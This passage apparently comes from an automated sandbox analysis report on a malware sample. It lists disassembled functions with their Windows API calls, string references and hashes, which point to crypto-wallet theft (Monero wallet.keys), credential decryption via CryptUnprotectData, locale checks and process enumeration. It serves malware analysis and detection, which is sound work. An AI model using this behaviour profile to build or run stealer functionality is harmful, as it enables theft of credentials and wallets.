Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008C14B0,008C0C2A), ref: 008ADAEB
StrCmpCA.SHLWAPI(?,008C14B4), ref: 008ADB33
StrCmpCA.SHLWAPI(?,008C14B8), ref: 008ADB49
FindNextFileA.KERNEL32(000000FF,?), ref: 008ADDCC
FindClose.KERNEL32(000000FF), ref: 008ADDDE

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: e48c82648ff689ccdbe4780ccf2776081145bb044af7a31c291983a4134d7e86
Instruction ID: 8d6eff6e51c37adffeb19dcc7dbb5d37f2ac23a5a66fcd8d7fea39ae6c02e282
Opcode Fuzzy Hash: e48c82648ff689ccdbe4780ccf2776081145bb044af7a31c291983a4134d7e86
Instruction Fuzzy Hash: 22917572900204A7DB18FBB4DC969ED737CFB95300F408568F85AD6691EE34AB09CB93

Function 008B7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

GetKeyboardLayoutList.USER32(00000000,00000000,008C05AF), ref: 008B7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 008B7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 008B7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 008B7C62
LocalFree.KERNEL32(00000000), ref: 008B7D22

Strings

/ , xrefs: 008B7C7F

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 749c614033a6f344b56b130fb8afce16a266aff56d98285bc59d8efe97cb6fe9
Instruction ID: b2311b63783bc23a937f81d644470bf60702589d28d34d1e30fb24a18ba39ef7
Opcode Fuzzy Hash: 749c614033a6f344b56b130fb8afce16a266aff56d98285bc59d8efe97cb6fe9
Instruction Fuzzy Hash: A5414E7194021CABDB24DB94DC99BEEB778FF54700F2041D9E409A6291DB346F85CFA2

Function 008AE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,008C0D73), ref: 008AE4A2
StrCmpCA.SHLWAPI(?,008C14F8), ref: 008AE4F2
StrCmpCA.SHLWAPI(?,008C14FC), ref: 008AE508
FindNextFileA.KERNEL32(000000FF,?), ref: 008AEBDF

Strings

\*.*, xrefs: 008AE44D

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 7b22b97d45977188af33762a2545097c71554ecda3ed9cfec9aa957e4099688d
Instruction ID: 70707323791ac5ded2e45e8df2eb39c34d7d395bc17b36e0ce67a96d0d613904
Opcode Fuzzy Hash: 7b22b97d45977188af33762a2545097c71554ecda3ed9cfec9aa957e4099688d
Instruction Fuzzy Hash: EA121071910118AADB28FB68DCE6EED7338FF54300F4045A8B51AD6691EE346F49CB93

Function 00C6346D Relevance: 9.2, Strings: 6, Instructions: 1657COMMON

Download Yara Rule

Strings

MB;}, xrefs: 00C64718
uxm], xrefs: 00C64492
"!}, xrefs: 00C634F5
Me_?, xrefs: 00C63B8A
NWk[, xrefs: 00C64588
3/0A, xrefs: 00C6391E

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "!}$3/0A$MB;}$Me_?$NWk[$uxm]
API String ID: 0-3943570821
Opcode ID: bb2066af79a552ad28d813f5092bd43a38ef5f0e3288ea9a8f1e0efeae66723f
Instruction ID: 7c00c3d70585145be11d50c9ad21e83f3316795bab5d957ca68b84c93174c0cb
Opcode Fuzzy Hash: bb2066af79a552ad28d813f5092bd43a38ef5f0e3288ea9a8f1e0efeae66723f
Instruction Fuzzy Hash: CEB22CF3A0C2049FE304AE2DEC8567AB7EAEFD4720F1A853DE6C5C7344E93558058696

Function 00C741DF Relevance: 7.9, Strings: 5, Instructions: 1649COMMON

Download Yara Rule

Strings

d9n, xrefs: 00C755D5
61o\, xrefs: 00C7493B
Fe~, xrefs: 00C74558
a=N, xrefs: 00C74DFD
a<og, xrefs: 00C74AF2

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 61o\$Fe~$a<og$a=N$d9n
API String ID: 0-3653806338
Opcode ID: bd5629f88c17e44d3abc138be80829260473365be2d04c9ddc181f82f3e5fcab
Instruction ID: 363f5d448ccad53d01c83171e09e4f7c00e4a15157cec6fa46eaf18f309ddf1b
Opcode Fuzzy Hash: bd5629f88c17e44d3abc138be80829260473365be2d04c9ddc181f82f3e5fcab
Instruction Fuzzy Hash: 3CB247F3A0C2149FE3046E2DEC8567AFBE9EFD4320F1A493DE6C487744EA3558058696

Function 008AC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 008AC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 008AC87C
lstrcat.KERNEL32(?,008C0B46), ref: 008AC943
lstrcat.KERNEL32(?,008C0B47), ref: 008AC957
lstrcat.KERNEL32(?,008C0B4E), ref: 008AC978

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 9d6f305b95d997d4d29e654c08b0874caa12c6ceab9d2448123fbd8103019746
Instruction ID: a19f3087fa4b5824659c2221461fa4ce9fe672438a73d5adf320201b62f33105
Opcode Fuzzy Hash: 9d6f305b95d997d4d29e654c08b0874caa12c6ceab9d2448123fbd8103019746
Instruction Fuzzy Hash: 3541517590421ADBDB10DFE4CD89BEEBBB8FB48304F1445A8F509AA280D7746A85CF91

Function 008A7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 008A724D
RtlAllocateHeap.NTDLL(00000000), ref: 008A7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 008A7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 008A72A4
LocalFree.KERNEL32(?), ref: 008A72AE

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 56c5b61f26b4ecbb7862893ef03563e18852dd578fd3fde3313e355c0ded3cd7
Instruction ID: 8abec4025488858da9e0aeeda7ee5b955966cbe84070793ea19ec97fe0c92a5c
Opcode Fuzzy Hash: 56c5b61f26b4ecbb7862893ef03563e18852dd578fd3fde3313e355c0ded3cd7
Instruction Fuzzy Hash: D701ED75A40208BBEB10DBD4CD85F9D7778EB44704F104154FB05EA2C0D670BA018B65

Function 008B9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 008B961E
Process32First.KERNEL32(008C0ACA,00000128), ref: 008B9632
Process32Next.KERNEL32(008C0ACA,00000128), ref: 008B9647
StrCmpCA.SHLWAPI(?,00000000), ref: 008B965C
CloseHandle.KERNEL32(008C0ACA), ref: 008B967A

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: ec3d7068c67755e2b1bfa2b23248cb5d7b9689a62c6e776467fc98112b9e30a9
Instruction ID: eb36af371deb95ff30ce8d68b3bcc4036dda87670f57dfdd20b3ab6c314aaaf5
Opcode Fuzzy Hash: ec3d7068c67755e2b1bfa2b23248cb5d7b9689a62c6e776467fc98112b9e30a9
Instruction Fuzzy Hash: EA010CB5A00208ABDB14DFA5CD98BEDBBF8FB68300F104188E94AD6240E734AB41CF51

Function 00C726CC Relevance: 6.7, Strings: 4, Instructions: 1669COMMON

Download Yara Rule

Strings

V>}, xrefs: 00C73ACC
o9=i, xrefs: 00C73A11
r;2, xrefs: 00C72A39, 00C72B6A
zz, xrefs: 00C73275

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: o9=i$r;2$V>}$zz
API String ID: 0-2812664298
Opcode ID: 8b5b1542db119f3e2af282f65658eb9a0c1218b1f04e24e2eab4cf78195b0064
Instruction ID: 5468f544d2aa088cc74e3ee8bd9dbab6df52a7544688b245e3fd7a0ebc5712f6
Opcode Fuzzy Hash: 8b5b1542db119f3e2af282f65658eb9a0c1218b1f04e24e2eab4cf78195b0064
Instruction Fuzzy Hash: CCB229F3A082109FE304AE2DEC8567AFBE9EFD4760F1A493DEAC4D3744E53558058692

Function 00C69E83 Relevance: 6.6, Strings: 4, Instructions: 1616COMMON

Download Yara Rule

Strings

R=o, xrefs: 00C6B136
4S, xrefs: 00C6ADCE
c~I, xrefs: 00C6AFCA
no, xrefs: 00C6ABD6

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4S$R=o$no$c~I
API String ID: 0-3146338768
Opcode ID: 590080724121bd8d80f1b8fe9b9813cd96aa6b337059589dbc0dc00b5041ea8c
Instruction ID: 02fc52a287ed166fbdf3148808254824f6b69035a2ee33c9264dc0592f5f37c6
Opcode Fuzzy Hash: 590080724121bd8d80f1b8fe9b9813cd96aa6b337059589dbc0dc00b5041ea8c
Instruction Fuzzy Hash: 87B216F360C2009FE3046E2DEC8567ABBE9EF94720F1A4A3DE6C4C7744EA7558058697

Function 00C7AF40 Relevance: 6.6, Strings: 4, Instructions: 1601COMMON

Download Yara Rule

Strings

!O?v, xrefs: 00C7BBD8
y_, xrefs: 00C7B37D
67#, xrefs: 00C7B32C
-"|r, xrefs: 00C7B61B

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !O?v$-"|r$67#$y_
API String ID: 0-10929917
Opcode ID: 90b57728151a8181ef2994063fb98c627be925b8f74942ed80ca1a88de77f530
Instruction ID: f0a66f84d619af8be84c4a7a7f4429fcababca092bedc2926e28419b0556caa7
Opcode Fuzzy Hash: 90b57728151a8181ef2994063fb98c627be925b8f74942ed80ca1a88de77f530
Instruction Fuzzy Hash: 0CB2E6F3A0C214AFE7046E29EC8566BFBE5EF94720F16493DE6C4C3704E63598058697

Function 008B8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,008C05B7), ref: 008B86CA
Process32First.KERNEL32(?,00000128), ref: 008B86DE
Process32Next.KERNEL32(?,00000128), ref: 008B86F3

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
